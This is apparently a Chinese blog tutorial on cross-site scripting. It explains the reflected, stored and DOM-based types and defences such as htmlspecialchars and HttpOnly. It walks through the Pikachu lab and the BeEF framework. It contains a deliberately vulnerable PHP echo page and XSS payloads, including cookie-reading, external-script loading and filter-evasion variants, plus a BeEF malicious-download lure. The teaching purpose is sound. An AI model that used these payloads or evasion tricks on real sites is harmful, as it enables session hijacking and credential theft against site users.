什么是XSS
跨站脚本(Cross-Site Scripting,XSS)是一种经常出现在Web应用程序中的计算机安全漏洞,是由于Web应用程序对用户的输入过滤不足而产生的。攻击者利用网站漏洞把恶意的脚本代码(通常包括HTML代码和客户端Javascript脚本)注入到网页之中,当其他用户浏览这些网页时,就会执行其中的恶意代码,对受害用户可能采取Cookie资料窃取、会话劫持、钓鱼欺骗等各种攻击。
- 通常情况下,我们既可以把跨站脚本理解成一种Web安全漏洞,也可以理解成一种攻击手段。
- XSS跨站脚本攻击本身对Web服务器没有直接危害,它借助网站进行传播,使网站的大量用户受到攻击。
- 攻击者一般通过留言、电子邮件或其他途径向受害者发送一个精心构造的恶意URL,当受害者在Web浏览器中打开该URL的时侯,恶意脚本会在受害者的计算机上悄悄执行,
理解XSS
还是有点费解的话,看看下面的演示,演示一个简单的XSS:
在搭建了phpstudy的win2008靶机上,写一个xss.php文件,内容是:
<?php
$xss=$_GET['x'];
echo $xss;
?>
输入了<script>alert('xss')</script>
之后,xss弹窗如下:
解释:当我们输入字符1
的时候,直接被回显出来了,如果输入的是一段js内容,当这段js内容被回显的时候,由于这段代码是js的,这意味着它可以被浏览器识别出来,并且执行,于是这段js代码被执行了,就是我们看到的一个弹窗。这就是一个简单的XSS演示。
XSS能不能实现,跟浏览器也有一些关系,有时候是浏览器类型,有时候是浏览器版本,譬如,IE浏览器:
漏洞存在的主要原因
- 参数输入未经过安全过滤
- 恶意脚本被输出到网页
- 用户的浏览器执行了恶意脚本
XSS普遍流行的原因
(1)Web浏览器本身的设计是不安全的。浏览器包含了解析和执行JavaScript等脚本语言的能力,这些语言可用来创建各种格式丰富的功能,而浏览器只会执行,不会判断数据和程序代码是否恶意。
(2)输入与输出是Web应用程序最基本的交互,在这过程之中若没做好安全防护,Web程序很容易会出现XSS漏洞。
(3)现在的应用程序大部分是通过团队合作完成的,程序员之间的水平参差不齐,很少有人受过正规的安全培训,因此,开发出来的产品难免存在问题。
(4)不管是开发人员还是安全工程师,很多都没有真正意识到 XSS 漏洞的危害,导致这类漏洞普遍受到忽视。很多企业甚至缺乏专门的安全工程师,或者不愿意在安全问题上花费更多的时间和成本。
(5)触发跨站脚本的方式非常简单,只要向 HTML 代码中注入脚本即可,而且执行此类攻击的手段众多,譬如利用CSS、Flash等。XSS技术的运用如此灵活多变,要做到完全防御是一件相当困难的事情。
(6)随着Web 2.0的流行,网站上交互功能越来越丰富。Web 2.0鼓励信息分享与交互,这样用户就有了更多的机会去查看和修改他人的信息,比如通过论坛、Blog 或社交网络,于是黑客也就有了更广阔的空间发动XSS攻击。
XSS的危害
XSS分类
XSS根据其特性和利用手法的不同,主要分成两大类型:一种是反射型跨站脚本;另一种是存储型跨站脚本,有时还分DOM型。说有时是因为有人分了两类,有人分类三类。
反射型XSS
反射型XSS是最常见,也是使用最广的一种,主要用于将恶意脚本附加到URL地址的参数中
定义:
反射型XSS的利用一般是攻击者通过特定手法(比如利用电子邮件),诱使用户去访问一个包含恶意代码的URL,当受害者点击这些专门设计的链接的时候,恶意JavaScript代码会直接在受害者主机上的浏览器执行。
特点:
它的特点是只在用户单击时触发,而且只执行一次,非持久化,所以称为反射型跨站式脚本。
危害:
通常出现在网站的搜索栏、用户登入口等地方,常用来窃取客户端 Cookies 或进行钓鱼欺骗
常用攻击手段
常见攻击方式:攻击者通过电子邮件等方式将包含XSS代码的恶意链接发送给目标用户。当目标用户访问该链接时,服务器接收该用户的请求并进行处理,然后服务器把带有XSS代码的数据发送给目标用户的浏览器,浏览器解析这段带有XSS代码的恶意脚本后,就会触发XSS漏洞。
防御手段:
使用htmlspecialchars
把我们XSS要用到的一些预定义字符转化为HTML实体,导致无法再进行反射型XSS攻击。
预定义字符包括:"
、'
、<
、>
、&
存储型XSS
持久型跨站脚本(Persistent Cross-site Scripting)也等于存储型跨站脚本(Stored Cross-site Scripting),比反射型跨站脚本更具威胁性,并且可能影响到Web服务器自身的安全
定义:
存储型XSS不需要用户单击特定URL就能执行跨站脚本,攻击者事先将恶意JavaScript代码上传或存储到漏洞服务器中,只要受害者浏览包含此恶意JavaScript代码的页面就会执行恶意代码。
特点:
一般出现在网站的留言、评论、博客日志等交互处,恶意脚本被存储到客户端或者服务器的数据库中,当其他用户浏览该网页时,站点即从数据库中读取恶意用户存入的非法数据,然后显示在页面中,即在受害者主机上的浏览器执行恶意代码。
危害:
持久型XSS不需要用户去单击URL进行触发,所以它的危害比反射型XSS大,黑客可以利用它渗透网站、挂马、钓鱼……
更严重的是,利用此类 XSS 能够轻易编写危害性更大的 XSS 蠕虫,跨站蠕虫是使用Ajax/JavaScript脚本语言编写的蠕虫病毒,能够在网站中实现病毒的几何数级传播,其感染速度和攻击效果都非常可怕。XSS蠕虫会直接影响到网站的所有用户,也就是一个地方出现XSS漏洞,同站点下的所有用户都可能被攻击
常用攻击手段
常见攻击方法:该攻击多见于论坛、博客和留言板,攻击者在发帖的过程中,将恶意脚本连同正常信息一起注入帖子的内容中。随着帖子被服务器存储下来,恶意脚本也永久地被存放在服务器的后端存储器中。当其他用户浏览这个被注入了恶意脚本的帖子时,恶意脚本就会在他们的浏览器中执行相关操作。
DOM型
首先,什么是DOM呢?
DOM是指文档对象模型,是一个平台中立和语言中立的接口,有的程序和脚本可以动态访问和更新文档的内容、结构和样式。在web开发领域的技术浪潮中,DOM是开发者能用来提升用户体验的最重要的技术之一,而且几乎所有的现在浏览器都支持DOM。
DOM本身是一个表达XML文档的标准,HTML文档从浏览器角度来说就是XML文档,有了这些技术后,就可以通过javascript轻松访问它们。下图是一个HTML源代码的DOM树结构。
其次,什么是DOM-XSS呢?
通过修改页面的DOM节点形成的XSS,称之为DOM XSS。它和反射型XSS、存储型XSS的差别在于,DOM XSS的XSS代码并不需要服务器解析响应的直接参与,触发XSS靠的就是浏览器端的DOM解析,可以认为完全是客户端的事情。
可能触发DOM型XSS的属性
document.referer
window.name
location
innerHTML
documen.write
常用攻击方式:用户请求一个经过专门设计的URL,它由攻击者提交,而且其中包含XSS代码。服务器的响应不会以任何形式包含攻击者的脚本。当用户的浏览器处理这个响应时,DOM对象就会处理XSS代码,导致存在XSS漏洞。
关于DOM型XSS有自动化工具:FinDOM-XSS,传送门—>FinDOM-XSS:一款针对DOM型XSS漏洞的快速扫描工具
攻击载荷
这里涉及到一些JavaScript的语法,你可以在bilibili搜索BV1Kr4y1M7Lv
观看某培训机构提供的JavaScript全套课程,也可以在菜鸟教程中学习。你可以在控制台中输入代码,来简单的查看到效果
XSS构造
1:
<script>alert("hack")</script> #弹出hack
<script>alert(/hack/)</script> #弹出hack
<script>alert(1)</script> #弹出1,对于数字可以不用引号
<script>alert(document.cookie)</script> #弹出cookie
<script src=http://xxx.com/xss.js></script> #引用外部的xss
2:伪协议
可以使用javascript:伪协议的方式构造XSS
譬如:
<a herf="javascript:alert(/xss/)">touch me!</a> 点击链接触发xss
<img src="javascript:alert(/xss/)"> 这种方法在IE6中可行
3:XSS万能模板
<sCr<scrscRiptipt>ipt>OonN\'\"<>
事件驱动
“事件驱动”是一种比较经典的编程思想,在网页会发生很多事件(比如鼠标移动,键盘输入等),JS可以对这些事件进行响应,所以我们可以通过事件触发JS函数,触发XSS
事件种类:
- window事件:对window对象触发的事件
- Form事件: HTML表内的动作触发事件
- Mouse事件: 由鼠标或类似用户动作触发的事件
- Media事件: 由多媒体触发的事件
如:【注意不要复制空格之类的玩意,不然没效果】
<img src='./smile.jpg' onmouseover='alert(/xss/)'>
这个标签会引入一个图片,然后鼠标悬停在图片上的时候,出触发XSS代码
<img src=1 onerror=alert(/xss/)>
由于图片文件不存在触发错误,出现弹窗
<input type="text" onkeydown="alert(/xss/)">
当鼠标点击键盘上任意一个按键的时候触发
类似的
<input type="text" onkeyup="alert(/xss/)">
<input type="text" onkeyclick="alert(/xss/)">
XSS变形
我们可以构造XSS代码来做各种变形,以绕过XSS过滤器的检测,有以下变形方式:
- 大小写转换
可以将payload进行大小写转换,如下:
<Img sRc = '#' Onerror = "alert(/xss/)"/>
<a hREf = "javaScript:alert(/xss/)">click me</a>
- 引号的使用
HTML语言对引号的使用不敏感,但是某些过滤函数是“锱铢必较”
<img src="#" onerror="alert(/xss/)"/>
<img src='#' onerror='alert(/xss/)'/>
<img src= # onerror= alert(/xss/)/>
- “/”代替空格
可以利用左斜线代替空格
<img/src='#'/οnerrοr='alert(/xss/)'/>
- 回车
可以在一些位置添加tab(水平制表符)和回车符,来绕过关键字检测
把<A hREf="javascRipt:alert(/xss/)">click me!</a>
变成
<A hREf="j
a v
a s
c R
i p
t :
alert(/xss/)">click me!</a>
- 对标签属性进行转码,ASCII参照
可以对标签属性进行转码,用来绕过过滤。譬如:
字母 | ASCII码 | 10进制编码 | 16进制编码 |
---|---|---|---|
a | 97 | a | d |
e | 101 | e | e |
s | 115 | s | s |
经过简单编码之后的样子:
<A hREf="javascript:allert(/xss/)">click me</a>>
可以
另外,可以将以下字符插入到任意位置:
字符 | 10进制编码 |
---|---|
Tab | 	 |
换行 | 
 |
回车 | 
 |
可以将以下字符插入到头部位置
字符 | 10进制编码 |
---|---|
SOH(标题开始) |  |
STX(本文开始) |  |
- 分跨站
把一个XSS拆开来写<script>alert("XSS");</script>
<script>z='alert'</script>
<script>z=z+'(/xss)'</script>
<script>eval(z)</script>
- 双写绕过
把一个标签写两次<script>
<scr<script>ipt>
XSS插在哪
- 用户输入作为script标签内容
- 用户输入作为HTML注释内容
- 用户输入作为HTML标签的属性名
- 用户输入作为HTML标签的属性值
- 用户输入作为HTML标签的名字
- 直接插入到CSS里
- 最重要的是,千万不要引入任何不可信的第三方JavaScript到页面里!
#用户输入作为HTML注释内容,导致攻击者可以进行闭合绕过
<!-- 用户输入 -->
<!-- --><script>alert('hack')</script><!-- -->
#用户输入作为标签属性名,导致攻击者可以进行闭合绕过
<div 用户输入="xx"> </div>
<div ></div><script>alert('hack')</script><div a="xx"> </div>
#用户输入作为标签属性值,导致攻击者可以进行闭合绕过
<div id="用户输入"></div>
<div id=""></div><script>alert('hack')</script><div a="x"></div>
#用户输入作为标签名,导致攻击者可以进行闭合绕过
<用户输入 id="xx" />
<><script>alert('hack')</script><b id="xx" />
#用户输入作为CSS内容,导致攻击者可以进行闭合绕过
<style>用户输入<style>
<style> </style><script>alert('hack')</script><style> </style>
XSS挖掘
黑盒测试
尽可能找到一切用户可控并且能够输出在页面代码中的地方,比如下面这些:
- URL的每一个参数
- URL本身
- 表单
- 搜索框
常见业务场景
- 重灾区:评论区、留言区、个人信息、订单信息等
- 针对型:站内信、网页即时通讯、私信、意见反馈
- 存在风险:搜索框、当前目录、图片属性等
白盒测试(代码审计)
关于XSS的代码审计主要就是从接收参数的地方和一些关键词入手。
PHP中常见的接收参数的方式有$_GET
、$_POST
、$_REQUEST
等等,可以搜索所有接收参数的地方。然后对接收到的数据进行跟踪,看看有没有输出到页面中,然后看输出到页面中的数据是否进行了过滤和html编码等处理。
也可以搜索类似echo
这样的输出语句,跟踪输出的变量是从哪里来的,我们是否能控制,如果从数据库中取的,是否能控制存到数据库中的数据,存到数据库之前有没有进行过滤等等。
大多数程序会对接收参数封装在公共文件的函数中统一调用,我们就需要审计这些公共函数看有没有过滤,能否绕过等等。
同理审计DOM型注入可以搜索一些js操作DOM元素的关键词进行审计。
禁盗Cookie
如果你在cookie中设置了HttpOnly属性,那么通过js脚本将无法读取到cookie信息,这样能有效的防止XSS盗用Cookie,具体一点的介绍请自行上网搜索
案例
XSS平台利用
有一种,为他人做嫁衣裳的感觉,实战中还是用BeEF吧
上网随便搜一个XSS平台,我这里用的是https://xsshs.cn/xss.php
新建一个项目
Pikachu靶机XSS(跨站脚本)
XSS漏洞的常见类型
危害:存储型 > 反射型 > DOM型
1:反射型
交互的数据一般不会被存储在数据库里面,一次性的,所见即所得,一般出现在查询类页面等
2:存储型
交互的数据会被存在数据库里面,永久性存储,一般出现在留言板,注册页面等
3:DOM型
不会与后台服务器产生数据交互,是一种通过DOM操作前端代码输出的时候产生的问题,一次性的类似反射型
XSS产生的原因
形成ⅩSS漏洞的主要原因是程序对输入和输出的控制不够严格,导致“精心构造”的脚本输入后,在输到前端时被浏览器当作有效代码解析执行从而产生危害。
XSS测试流程
①在目标站点上找到输入点,比如查询接口留言板等
②输入一组“特殊字符+唯一识别字符”,点击提交后,查看返回的源码,是否有做对应的处理
③通过搜索定位到唯一字符,结合唯一字符前后语法确认是否可以构造执行js的条件(构造闭合)
④提交构造的脚本代码(以及各种绕过姿势),看是否可以成功执行,如果成功执行则说明存在XSS漏洞
反射型xss(get)
首先来试着随便输一下测试代码,然后查看页面源代码
可以看到它没做任何过滤,直接上<script>alert(/xss/)</script>
在输入代码的时候发现有长度限制,先看看它是不是前端的,能不能绕过
有戏(注意,要先改长度限制,再输入payload)
或者这样绕过长度限制:利用HackBar
反射型XSS(POST)
1:按照提示登陆
2:输入一个XSS代码<script>alert(/xss/)</script>
3:回车弹窗
存储型xss
方法同【反射型xss(get)】,先来一个测试代码,接着查看页面源代码。
看起来没有做过滤,那就直接上payload<script>alert(/xss/)</script>
DOM型xss
思路依然是先来一个测试代码,然后查看页面源代码
所以,只需要闭合<a href='"+str+"'>
即可,payload可以构造为:#' onclick="alert(/xss/)">
DOM型xss-x
老套路,测试代码+页面源代码
发现和上一题基本一样,payload继续用#' onclick="alert(/xss/)">
XSS盲打
XSS之过滤
大小写绕过<ScriPT>alert(/xss/)</ScriPT>
双写绕过 <scri<script>pt>alert(/xss/)</scr</script>pt>
XSS之htmlspecialchars
XSS之href输出
XSS之js输出
使用payload'</script><script>alert(/xss/)</script>
使用payloadtmac';alert(1);//
BeEF
BeEF使用教程
详细使用参见:BeEF-XSS详细使用教程
中文使用手册:《BeEF中文文档》
启用BeEF
这里简单介绍一下使用,最新版的kali好像移除了它,这里手动安装一下
apt-get update # 更新源
apt-get install beef-xss # 安装BeEF
获得XSS
在前面的章节“XSS平台利用”中,已经演示过了,这里就简单演示一下了。
在靶机的留言板处提交包含XSS代码的内容
战果
回到BeEF,看到了有一台机器上线了。看到了关于这台机器的一些相关信息
BeEF的功能很强大,这里简单演示一下其中的部分功能
下载恶意文件
一种社会工程学攻击,上网搜一张Flash的图片,复制图片地址,然后点击执行
靶机的页面上出现了一个图片链接,大大的图片出现在屏幕中央,em,,,,这里应该使用一张矢量图,效果会更好一些。鼠标放在图片上,左下角可以看到图片指向的地址。即,点击图片,就会下载你执行的一个文件。
靶场
XSS-change
XSSchallenge(1-13题)
xss.haozi.me
项目地址:https://github.com/haozi/xss-demo
项目答案:https://github.com/haozi/xss-demo/issues/1
在线靶场:https://xss.haozi.me/#/0x00
教程:xss靶场练习(一)之xss.haozi.me
参考
《XSS跨站脚本攻击剖析与防御》
[网络安全] 五.XSS跨站脚本攻击详解及分类-1
FinDOM-XSS:一款针对DOM型XSS漏洞的快速扫描工具
web漏洞 | XSS(跨站攻击脚本)详解
什么是HttpOnly
版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。
文章由极客之音整理,本文链接:https://www.bmabk.com/index.php/post/134312.html